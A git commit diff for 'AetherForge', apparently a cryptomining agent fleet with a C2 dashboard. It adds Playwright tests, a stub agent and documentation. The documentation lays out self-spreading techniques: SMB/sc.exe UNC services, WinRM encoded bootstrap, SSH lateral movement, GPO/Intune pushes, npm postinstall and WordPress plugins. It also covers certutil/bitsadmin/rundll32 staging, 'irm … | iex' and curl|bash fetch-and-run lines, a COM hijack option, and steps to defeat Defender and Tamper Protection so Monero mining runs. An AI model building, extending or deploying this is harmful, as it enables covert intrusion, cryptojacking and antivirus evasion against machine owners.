Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,71 @@
import { expect, test } from '@playwright/test';
import { fetchFleetSecret, loginToDashboard } from './fixtures';
import {
connectStubAgent,
E2E_STUB_AGENT_HOSTNAME,
E2E_STUB_AGENT_ID,
} from './stub-agent';
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
let serverReady = false;
let disconnectStub: (() => void) | null = null;
test.describe('Crucible bulk command', () => {
test.beforeAll(async ({ request }) => {
try {
const res = await request.get('/api/v1/health', { timeout: 5_000 });
serverReady = res.ok();
} catch {
serverReady = false;
}
if (!serverReady) return;
const fleetSecret = await fetchFleetSecret(request);
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
// Allow agent_online + DB upsert to settle before UI tests.
await new Promise((r) => setTimeout(r, 500));
});
test.afterAll(() => {
disconnectStub?.();
disconnectStub = null;
});
test.beforeEach(async ({ page }) => {
test.skip(
!serverReady,
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
);
await loginToDashboard(page);
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
await expect(
page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
).toBeVisible({ timeout: 15_000 });
});
test('bulk pause on selected online node fires POST bulk-command', async ({ page }) => {
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
await card.click();
await expect(page.getByText(/1 selected/)).toBeVisible();
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
const bulkRequest = page.waitForRequest(
(req) =>
req.method() === 'POST' && req.url().includes('/api/v1/agents/bulk-command'),
);
await page
.locator('.crucible-actions-card')
.getByRole('button', { name: 'Pause', exact: true })
.click();
const request = await bulkRequest;
expect(request.postDataJSON()).toEqual({
agent_ids: [E2E_STUB_AGENT_ID],
action: 'pause',
});
});
});

View File

@@ -0,0 +1,70 @@
import { expect, test } from '@playwright/test';
import { fetchFleetSecret, loginToDashboard } from './fixtures';
import {
connectStubAgent,
E2E_STUB_AGENT_HOSTNAME,
E2E_WHOAMI_RESPONSE,
} from './stub-agent';
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
let serverReady = false;
let disconnectStub: (() => void) | null = null;
test.describe('Crucible remote command', () => {
test.beforeAll(async ({ request }) => {
try {
const res = await request.get('/api/v1/health');
serverReady = res.ok();
} catch {
serverReady = false;
}
if (!serverReady) return;
const fleetSecret = await fetchFleetSecret(request);
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
// Allow agent_online + DB upsert to settle before UI tests.
await new Promise((r) => setTimeout(r, 500));
});
test.afterAll(() => {
disconnectStub?.();
disconnectStub = null;
});
test.beforeEach(async ({ page }) => {
test.skip(
!serverReady,
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
);
await loginToDashboard(page);
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText(E2E_STUB_AGENT_HOSTNAME)).toBeVisible({ timeout: 15_000 });
});
test('whoami on selected online node shows terminal output', async ({ page }) => {
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
await page.getByRole('button', { name: 'whoami' }).click();
const terminal = page.locator('.crucible-terminal');
await expect(terminal.getByText('whoami')).toBeVisible({ timeout: 10_000 });
await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 });
});
test('exec echo via master terminal shows output', async ({ page }) => {
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
await page.getByRole('button', { name: 'CMD', exact: true }).click();
const input = page.locator('.crucible-term-input');
await expect(input).toBeEnabled();
await input.fill('echo crucible-e2e-ping');
await page.getByRole('button', { name: 'SEND' }).click();
const terminal = page.locator('.crucible-terminal');
await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
});
});

View File

@@ -1,4 +1,4 @@
import { expect, type Page } from '@playwright/test';
import { expect, type APIRequestContext, type Page } from '@playwright/test';
/** Matches server/internal/api/integration_test.go testAuthUser / testAuthPass. */
export const E2E_USER = process.env.AETHERFORGE_E2E_USER || 'testuser';
@@ -7,6 +7,24 @@ export const E2E_PASS = process.env.AETHERFORGE_E2E_PASS || 'testpass';
/** Seed this into the server data dir as users.json before first start (see tests/README.md). */
export const E2E_USERS_JSON = JSON.stringify({ [E2E_USER]: E2E_PASS });
export function e2eAuthHeaders(): Record<string, string> {
const token = Buffer.from(`${E2E_USER}:${E2E_PASS}`).toString('base64');
return {
Authorization: `Basic ${token}`,
'X-AetherForge-Client': 'dashboard',
};
}
/** Reads fleet_secret from live server config (generated on first server start). */
export async function fetchFleetSecret(request: APIRequestContext): Promise<string> {
const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() });
if (!res.ok()) {
throw new Error(`config fetch failed: ${res.status()}`);
}
const body = (await res.json()) as { server?: { fleet_secret?: string } };
return body.server?.fleet_secret ?? '';
}
export async function loginToDashboard(page: Page): Promise<void> {
await page.goto('/');
await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 });

View File

@@ -12,10 +12,15 @@ test.describe('Page smoke', () => {
await expect(page.getByText('Machine Roster')).toBeVisible();
});
test('Agents renders Fleet Roster', async ({ page }) => {
await page.getByRole('link', { name: /Fleet Roster/i }).click();
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText(/NODES/i)).toBeVisible();
test('Crucible renders node roster', async ({ page }) => {
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText(/NODE ROSTER/i)).toBeVisible();
});
test('/agents redirects to Crucible', async ({ page }) => {
await page.goto('/agents');
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
});
test('Settings renders Calibrate', async ({ page }) => {

View File

@@ -27,7 +27,6 @@ const OFFLINE_AGENT = {
test.describe('Remote actions UI', () => {
test.beforeEach(async ({ page }) => {
// AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS).
await page.addInitScript((agent) => {
const RealWS = WebSocket;
const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket };
@@ -90,9 +89,6 @@ test.describe('Remote actions UI', () => {
}
await route.fulfill({ json: [OFFLINE_AGENT] });
});
await page.route('**/api/v1/agents/*/stats*', async (route) => {
await route.fulfill({ json: [] });
});
await page.route('**/api/v1/builds', async (route) => {
await route.fulfill({ json: [] });
});
@@ -107,22 +103,20 @@ test.describe('Remote actions UI', () => {
});
});
await loginToDashboard(page);
await page.getByRole('link', { name: /Fleet Roster/i }).click();
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
await page.getByRole('link', { name: /Crucible/i }).click();
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByText('Offline Node')).toBeVisible({ timeout: 10_000 });
});
test('detail panel disables remote actions for offline agent', async ({ page }) => {
test('mining ops disabled when only offline agent selected', async ({ page }) => {
await page.getByText('Offline Node').click();
const detail = page.locator('.agent-detail');
await expect(detail.getByRole('heading', { name: 'Remote Control' })).toBeVisible({ timeout: 10_000 });
await expect(detail.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
await expect(detail.getByRole('button', { name: 'Pause' })).toBeDisabled();
const pauseBtn = page.getByRole('button', { name: 'Pause', exact: true });
await expect(pauseBtn).toBeDisabled();
await expect(page.getByRole('button', { name: 'Resume', exact: true })).toBeDisabled();
});
test('compact row remote actions disabled when offline', async ({ page }) => {
test('bulk pause disabled when offline agent selected via toolbar', async ({ page }) => {
await page.getByText('Offline Node').click();
const compact = page.locator('.agent-list-item.expanded');
await expect(compact.getByRole('button', { name: 'Pause' })).toBeDisabled();
await expect(page.getByRole('button', { name: 'Pause' }).first()).toBeDisabled();
});
});

View File

@@ -0,0 +1,108 @@
/**
* Minimal WebSocket agent for Playwright E2E against a live miner-server.
* Mirrors server/internal/api/integration_test.go connectAgentViaRouter flow.
*/
export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent';
export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host';
export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok';
type HubMessage = {
type: string;
payload: string | Record<string, unknown>;
};
function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
if (typeof payload === 'string') {
return JSON.parse(payload) as Record<string, unknown>;
}
return payload;
}
function wsAgentUrl(baseUrl: string): string {
const trimmed = baseUrl.replace(/\/$/, '');
return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
}
function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
ws.send(JSON.stringify({ type, payload }));
}
function replyCommand(ws: WebSocket, action: string, command: string): void {
let message = 'e2e-stub-ok';
if (action === 'resume') {
message = 'mining resumed';
} else if (command.trim().toLowerCase() === 'whoami') {
message = E2E_WHOAMI_RESPONSE;
} else if (command.trim().toLowerCase().startsWith('echo ')) {
message = command.trim().slice(5);
}
send(ws, 'command_result', { action, success: true, message });
}
/**
* Connect a stub agent that answers exec/powershell commands on the live server.
* Returns a cleanup function that closes the socket.
*/
export async function connectStubAgent(
baseUrl: string,
fleetSecret = '',
): Promise<() => void> {
const ws = new WebSocket(wsAgentUrl(baseUrl));
await new Promise<void>((resolve, reject) => {
const timer = setTimeout(() => reject(new Error('stub agent ws open timeout')), 10_000);
ws.addEventListener('open', () => {
clearTimeout(timer);
resolve();
}, { once: true });
ws.addEventListener('error', () => {
clearTimeout(timer);
reject(new Error('stub agent ws connection failed'));
}, { once: true });
});
send(ws, 'auth', {
agent_id: E2E_STUB_AGENT_ID,
fleet_secret: fleetSecret,
hostname: E2E_STUB_AGENT_HOSTNAME,
version: '1.0.0-e2e',
platform: 'windows',
arch: 'amd64',
cpu_cores: 4,
memory_gb: 8,
});
await new Promise<void>((resolve, reject) => {
const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000);
ws.addEventListener('message', (ev) => {
const msg = JSON.parse(String(ev.data)) as HubMessage;
if (msg.type !== 'auth_response') return;
clearTimeout(timer);
const body = parsePayload(msg.payload);
if (body.success !== true) {
reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`));
return;
}
resolve();
}, { once: true });
});
ws.addEventListener('message', (ev) => {
let msg: HubMessage;
try {
msg = JSON.parse(String(ev.data)) as HubMessage;
} catch {
return;
}
if (msg.type !== 'command') return;
const payload = parsePayload(msg.payload);
const action = String(payload.action ?? '');
const command = String(payload.command ?? '');
replyCommand(ws, action, command);
});
return () => {
ws.close();
};
}

View File

@@ -26,9 +26,13 @@
<li><a href="#fusion-media">Fusion media</a></li>
<li><a href="#usb">USB</a></li>
<li><a href="#lan">LAN kindling</a></li>
<li><a href="#winrm-bootstrap">WinRM bootstrap</a></li>
<li><a href="#linux-lotl">Linux LOTL</a></li>
<li><a href="#enterprise-gpo">GPO / Intune</a></li>
<li><a href="#wordpress">WordPress plugin</a></li>
<li><a href="#npm-helper">npm postinstall</a></li>
<li><a href="#social-funnel">Social funnel</a></li>
<li><a href="#lotl-onion">LOTL Onion</a></li>
<li><a href="#third-party">Third-party &amp; gaps</a></li>
</ul>
</aside>
@@ -54,9 +58,13 @@
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="winrm-bootstrap" aria-selected="false">WinRM</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="linux-lotl" aria-selected="false">Linux LOTL</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="enterprise-gpo" aria-selected="false">GPO/Intune</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lotl-onion" aria-selected="false">LOTL Onion</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
</div>
@@ -230,10 +238,68 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
<li><strong>UNC spread (LOTL):</strong> <code>spread_smb_unc</code><code>sc.exe \\host create/start</code> with <code>binPath=</code> on a Forge output UNC (<code>\\forge\pathforge$\worker.exe</code>). Pure LOLBins: <code>sc.exe</code>, <code>net.exe</code>. Path Tracer: <code>POST /api/v1/pathtrace/spread</code> dispatches on the egress hop.</li>
<li><strong>Staging chain (LOTL):</strong> <code>stage_fetch</code> — download chunks via <code>curl.exe</code> or <code>bitsadmin</code>, <code>certutil -decode</code>, verify SHA256 from server, launch via <code>rundll32</code> or exe. Staging paths use the same traversal hygiene as upload/download.</li>
</ol>
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
</div>
<!-- WinRM bootstrap -->
<div class="spread-panel" data-spread-panel="winrm-bootstrap" id="winrm-bootstrap" hidden>
<h3>WinRM bootstrap — encoded registration</h3>
<p><span class="wiki-status working">Working</span> Export from Crucible → Spread Templates or <code>POST /api/v1/builder/spread-template-export</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li>Owned/lab Windows hosts with remoting enabled or rights to run <code>Enable-PSRemoting</code></li>
<li>Patient zero with <code>auto_spread</code> or <code>winrm_spread</code> forge flag for lateral encoded bootstrap</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li>Template runs <code>Enable-PSRemoting</code> + base64-encoded bootstrap that fetches <code>/get</code> with <code>?pin=</code> / <code>?c=</code>.</li>
<li>Agent starts with <code>--spread-install --defer-mining</code> — mining begins only after <code>mining_diagnostics</code> passes on C2.</li>
<li>Optional COM hijack under benign CLSID — <strong>default off</strong>; enable only on owned machines via export checkbox.</li>
<li>Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.</li>
</ol>
<p>API body: <code>{ "template": "winrm", "com_hijack": false }</code></p>
</div>
<!-- Linux LOTL -->
<div class="spread-panel" data-spread-panel="linux-lotl" id="linux-lotl" hidden>
<h3>Linux LOTL — systemd-run &amp; crontab</h3>
<p><span class="wiki-status working">Working</span> SSH lateral spread + LOTL persistence options.</p>
<h4>Prerequisites</h4>
<ul>
<li>Passwordless SSH keys for lateral targets (<code>BatchMode=yes</code>)</li>
<li>Forge <code>linux_lotl_mode</code>: <code>systemd_run_user</code>, <code>crontab</code>, or <code>both</code></li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li><code>autospread_unix.go</code> SCP + SSH with <code>--spread-install --defer-mining</code>.</li>
<li>Template <code>lotl-bootstrap.sh</code>: curl <code>/get?os=linux</code>, optional <code>systemd-run --user</code> and/or crontab <code>@reboot</code>.</li>
<li>When no CUDA: fallback chain adds <code>linux_pyopencl</code> tier via <code>python3 -c import pyopencl</code> probe before <code>stratum_direct</code>.</li>
</ol>
<p>Export: <code>{ "template": "linux-lotl", "lotl_mode": "both" }</code></p>
</div>
<!-- GPO / Intune -->
<div class="spread-panel" data-spread-panel="enterprise-gpo" id="enterprise-gpo" hidden>
<h3>GPO / Intune enterprise spread</h3>
<p><span class="wiki-status working">Working</span> Startup scripts pull agent binary — <strong>mining policy stays server-side</strong>, not in the GPO/Intune blob.</p>
<h4>Prerequisites</h4>
<ul>
<li>AD GPO edit rights or Intune script assignment on owned tenant</li>
<li>Reachable command deck URL from domain endpoints</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li><strong>GPO:</strong> Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code> (irm install.ps1 or fetch worker).</li>
<li><strong>Intune:</strong> Assign <code>intune-startup.ps1</code> as proactive remediation / platform script.</li>
<li>Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.</li>
<li><code>AETHER_DEFER_MINING=1</code> / <code>--defer-mining</code> until diagnostics pass.</li>
</ol>
<p>Export templates: <code>gpo</code> and <code>intune</code> via spread-template-export. Crucible → Spread tab → Spread Templates.</p>
</div>
<!-- WordPress -->
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
<h3>WordPress plugin — owned-site supply chain</h3>
@@ -306,6 +372,42 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
</div>
<!-- LOTL Onion -->
<div class="spread-panel" data-spread-panel="lotl-onion" id="lotl-onion" hidden>
<h3>LOTL Onion — native-tool spread tier chain</h3>
<p>
<span class="wiki-status working">Working</span>
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
</p>
<h4>Default tier order (docker → GPO)</h4>
<p class="form-hint">
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
</p>
<table class="wiki-table">
<thead><tr><th>Tier</th><th>One-line</th></tr></thead>
<tbody>
<tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
<tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
<tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>
<tr id="lotl-tier-dotnet"><td><strong>dotnet</strong></td><td>dotnet tool-run bootstrap — no standalone payload exe</td></tr>
<tr id="lotl-tier-bits_curl"><td><strong>bits/curl</strong></td><td>BITS transfer or curl|bash to <code>/install.ps1</code> — fileless fetch</td></tr>
<tr id="lotl-tier-smb"><td><strong>smb</strong></td><td>admin$ / C$ copy + SCM — classic lateral on open 445</td></tr>
<tr id="lotl-tier-winrm"><td><strong>winrm</strong></td><td>Opportunistic PS remoting when 5985/5986 responds</td></tr>
<tr id="lotl-tier-linux"><td><strong>linux</strong></td><td>SSH lateral on Unix agents — same wallet, no extra drop</td></tr>
<tr id="lotl-tier-gpo"><td><strong>gpo</strong></td><td>Domain startup/logon script push — operator-owned AD only</td></tr>
</tbody>
</table>
<h4>Forge steps</h4>
<ol class="spread-steps">
<li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>
<li>Set <strong>XMR Wallet Address</strong> — same field as every other preset; payout goes here.</li>
<li>Forge once; tier order updates via server config when policy-from-server is on.</li>
</ol>
<a class="spread-deck-link" href="/forge">Open Forge →</a>
</div>
<!-- Third-party -->
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
<h3>Third-party platforms &amp; gaps</h3>

View File

@@ -110,6 +110,15 @@ Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
---
## LOTL staging & LAN spread (agent commands)
| Technique | LOLBins | AetherForge mapping |
|-----------|---------|---------------------|
| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). |
| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc``sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. |
---
## Key References
- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)

View File

@@ -42,6 +42,8 @@
<li><a href="#path-tracer">Path Tracer</a></li>
<li><a href="#agent">Agent Reference</a></li>
<li><a href="#mining">Mining</a></li>
<li><a href="#av-safe">AV-Safe Mining</a></li>
<li><a href="#container-mining">Container Mining</a></li>
<li><a href="#platform-matrix">Platform Matrix</a></li>
<li><a href="#alerts-ai">Alerts &amp; AI</a></li>
<li><a href="#security-auth">Security</a></li>
@@ -875,6 +877,109 @@ https://your.site/get?pin={build_id}&amp;c=docs</code></pre>
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
</section>
<section id="av-safe">
<h2>AV-Safe Mining — Default Strategy</h2>
<p>
New forges default to <strong>in-process RandomX</strong> (<code>miner_execution=inprocess</code>).
The agent hashes Monero inside the Go binary via <code>go-randomx</code> — no XMRig, no child
<code>.exe</code> download. Use the Forge <strong>AV-Safe</strong> operation chip or preset for
CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.
</p>
<h3>Why turning Defender "off" often does nothing</h3>
<ul>
<li><strong>Real-time protection</strong> (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.</li>
<li><strong>Tamper Protection</strong> — blocks <code>Set-MpPreference</code>, registry disables, and agent <code>SilentAVExclusion</code> without admin + temporary tamper off.</li>
<li><strong>Cloud-delivered protection</strong> — uploads unknown binaries; garbled/obfuscated agents score higher.</li>
<li><strong>Controlled folder access</strong> — blocks writes to Documents/Desktop even when RTP is "off".</li>
<li><strong>Behavioral / AMSI</strong> — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.</li>
<li><strong>Third-party AV</strong> — McAfee, Norton, etc. ignore Windows Security UI entirely.</li>
</ul>
<h3>Windows operator checklist</h3>
<ol>
<li>Forge with <strong>AV-Safe</strong> or <strong>Miner Execution → In-process RandomX</strong>.</li>
<li>Calibrate → <strong>Windows Defender Exclusions</strong> → copy/download <code>.ps1</code> → run elevated on each worker.</li>
<li>Windows Security → Virus &amp; threat protection → Manage settings → turn off <strong>Tamper Protection</strong> briefly while applying exclusions.</li>
<li>Add path exclusion for install dir (default under <code>%LOCALAPPDATA%\CryptoMiner\</code>) and process exclusion for forged <code>.exe</code> name.</li>
<li>Disable or allowlist <strong>Controlled folder access</strong> if the agent cannot write its install tree.</li>
<li>Crucible → <strong>Mining Diagnostics</strong> on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.</li>
<li>For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.</li>
</ol>
<h3>Honest limits</h3>
<p>
No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is:
<strong>in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU</strong>.
Container mode and remote <code>defender_off</code> are optional layers, not guarantees.
</p>
</section>
<section id="container-mining">
<h2>Container Mining — Optional Isolation</h2>
<p>
Forge can bake <code>miner_execution=auto</code> or <code>container</code>. On agent start the supervisor
probes for <code>docker</code> or <code>podman</code> in PATH. When a runtime is available, CPU RandomX
can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime
is installed or <code>docker run</code> fails, the agent falls back to <strong>in-process</strong>
pure-Go RandomX (no external CPU miner binary).
</p>
<h3>Honest AV expectations</h3>
<ul>
<li>Containers are <strong>not</strong> invisible to antivirus — <code>docker.exe</code>, image layers, and pulls are still observable.</li>
<li>Primary benefit: <strong>legitimate process isolation</strong> — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).</li>
<li>In-process RandomX already avoids a separate CPU miner <code>.exe</code>; container mode helps when the <em>agent binary itself</em> is quarantined or GPU miners are deleted on spawn.</li>
</ul>
<h3>Forge options</h3>
<table class="wiki-table">
<thead><tr><th>Value</th><th>Behavior</th></tr></thead>
<tbody>
<tr><td><code>inprocess</code></td><td><strong>Default.</strong> Pure-Go RandomX inside the agent process — lowest AV friction for CPU</td></tr>
<tr><td><code>auto</code></td><td>Container if Docker/Podman detected; else in-process</td></tr>
<tr><td><code>container</code></td><td>Always attempt OCI launch; fall back to in-process on failure</td></tr>
<tr><td><code>subprocess</code></td><td>GPU KawPoW only — T-Rex/TRM external binaries on Windows</td></tr>
</tbody>
</table>
<h3>Operator setup</h3>
<ol>
<li><strong>Windows:</strong> Install <a href="https://docs.docker.com/desktop/setup/install/windows-install/">Docker Desktop</a>; ensure <code>docker version</code> works in the same user context as the agent.</li>
<li><strong>Linux:</strong> <code>sudo apt install docker.io</code> (or Podman); add the agent user to the <code>docker</code> group or use rootless Podman.</li>
<li>Build the worker image: <code>docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest .</code></li>
<li>Optional: set <code>AETHERFORGE_MINER_IMAGE</code> on the host to a private registry tag.</li>
<li>Re-forge with <strong>Miner Execution → Auto</strong> (or Container) in the Calibrate / Forge deck.</li>
</ol>
<h3>Architecture</h3>
<pre>
┌──────────────── Host (agent.exe) ────────────────┐
│ WebSocket C2 · commands · stats · GPU supervisor │
│ │ docker run │
│ ▼ │
│ ┌──────────── OCI container ────────────┐ │
│ │ agent-worker · RandomX · Stratum/C2 │ │
│ └───────────────────────────────────────┘ │
└──────────────────────────────────────────────────┘
</pre>
<h3>Mining fallback chain</h3>
<p>
The agent runs a unified cascade on start, on remote <code>resume</code>, and whenever the active method fails.
Order (when <code>miner_execution=auto</code> and Docker/Podman is present):
<strong>container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay</strong>.
Each failure is logged and sent to the dashboard as <code>mining_fallback</code>; live stats include
<code>active_method</code>, <code>failed_methods[]</code>, and <code>last_error</code>.
Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs <em>in parallel</em> once CPU primary is up —
it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.
</p>
<p>
When the container exits, the chain advances to in-process automatically.
Server auto-<code>resume</code> on connect still applies; container mode pauses host workers while the
container is healthy.
</p>
</section>
<!-- 7b. Platform Matrix -->
<section id="platform-matrix">
<h2>Platform Matrix</h2>
@@ -1215,7 +1320,9 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
<tr><td>Black screen / empty page</td><td>Stale service worker or R3F mismatch</td><td>Ctrl+Shift+R; rebuild web; copy dist → webroot</td></tr>
<tr><td>Login loop / 401</td><td>Wrong password</td><td>Check console first-run password; reset <code>users.json</code></td></tr>
<tr><td>Workers never appear</td><td>Wrong server URL / firewall</td><td>Use LAN IP in Forge; open port 8989</td></tr>
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL</td><td>Check agent log; verify GPU drivers + outbound internet</td></tr>
<tr><td>GPU miner doesn't start</td><td>No CUDA/OpenCL or AV quarantine</td><td>Check agent log; verify GPU drivers + outbound internet; Mining Diagnostics for subprocess blockers</td></tr>
<tr><td>CPU hashrate 0, agent online</td><td>AV kill, pause, idle guard, or no pool job</td><td>Crucible → Mining Diagnostics; Calibrate Defender exclusion script; forge AV-Safe preset</td></tr>
<tr><td>Defender "off" but still blocked</td><td>Tamper Protection, cloud protection, CFA</td><td>Run Calibrate exclusion .ps1 elevated; disable tamper briefly; check Controlled folder access</td></tr>
<tr><td>USB not spreading</td><td>USBSpread not forged</td><td>Re-forge with USB Propagation enabled</td></tr>
<tr><td>Empty screenshot</td><td>Agent offline</td><td>Ensure online; check terminal for errors</td></tr>
</tbody>

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
@@ -271,7 +271,7 @@ export const api = {
}),
sendBulkCommand: (agentIds: string[], action: string) =>
fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
fetchJSON<{ success: boolean; sent: number; failed: number; action: string; category?: string; label?: string }>('/agents/bulk-command', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds, action }),
}),
@@ -302,6 +302,33 @@ export const api = {
